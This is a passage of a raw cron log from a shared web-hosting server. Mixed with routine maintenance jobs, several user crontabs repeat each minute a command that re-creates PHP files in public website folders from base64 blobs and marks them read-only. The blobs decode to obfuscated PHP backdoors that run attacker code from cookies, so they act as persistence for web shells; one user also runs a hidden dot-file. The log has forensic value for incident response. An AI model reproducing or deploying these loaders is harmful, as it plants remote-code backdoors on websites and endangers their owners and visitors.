AgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:28:01 medusa CROND[13278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:28:01 medusa CROND[13279]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:28:01 medusa CROND[13283]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:28:01 medusa CROND[13290]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:28:01 medusa CROND[13291]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:28:01 medusa CROND[13292]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:29:01 medusa CROND[3541]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:29:01 medusa CROND[3600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:29:01 medusa CROND[3603]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 08:29:01 medusa CROND[3604]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:29:01 medusa CROND[3606]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:29:01 medusa CROND[3610]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:29:01 medusa CROND[3611]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:29:01 medusa CROND[3615]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:29:01 medusa CROND[3619]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:29:01 medusa CROND[3620]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:29:01 medusa CROND[3623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:29:01 medusa CROND[3625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:29:01 medusa CROND[3630]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:30:01 medusa CROND[24243]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:30:01 medusa CROND[24259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 08:30:01 medusa CROND[24320]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:30:02 medusa CROND[24396]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:30:02 medusa CROND[24397]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 08:30:02 medusa CROND[24398]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:30:02 medusa CROND[24400]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24401]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24404]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:30:02 medusa CROND[24405]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:30:02 medusa CROND[24408]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:30:02 medusa CROND[24411]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:30:02 medusa CROND[24409]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:30:02 medusa CROND[24410]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:30:02 medusa CROND[24414]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6